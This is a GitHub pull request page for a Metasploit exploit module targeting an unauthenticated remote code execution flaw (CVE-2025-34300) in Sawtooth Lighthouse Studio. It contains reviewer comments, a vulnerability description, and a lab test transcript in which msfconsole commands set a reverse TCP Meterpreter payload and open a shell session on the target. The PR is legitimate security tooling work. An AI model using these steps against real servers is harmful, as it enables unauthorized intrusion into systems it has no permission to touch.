-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300) #20397
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @vognik. A couple comments.
Testing
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_cve_2025_34300) > set rhosts 172.16.199.132
rhosts => 172.16.199.132
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_cve_2025_34300) > set studyname test
studyname => test
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_cve_2025_34300) > set writabledir /tmp
writabledir => /tmp
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_cve_2025_34300) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_cve_2025_34300) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_cve_2025_34300) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Extracting version...
[*] Extracted version: 9.16.12
[+] The target appears to be vulnerable.
[*] Uploading malicious payload...
[*] Sending stage (3045380 bytes) to 172.16.199.132
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.132:36724) at 2025-07-23 10:39:29 -0700
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.16.199.132
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: jheysel-r7 <[email protected]>
@bwatters-r7, @jheysel-r7 Thanks for the code review and valuable advice! The That's why I had files with ![]() So I still left the override of the default temporary directory (with absolute path), this works quite well |
Vulnerability Details
This module exploits a template injection vulnerability in the
Sawtooth Software Lighthouse Studio's
ciwweb.pl
web application.The application fails to properly sanitize user input within survey templates,
allowing unauthenticated attackers to inject and execute arbitrary Perl commands
on the target system.
This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
Successful exploitation may result in remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands as the web server.
Module Information
Module path:
exploit/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300
Platform:
Linux/Unix/Windows
Tested on:
Ubuntu 18.0.4 / Windows 10
Requirements:
Nothing
References
Original Research
https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
Test Output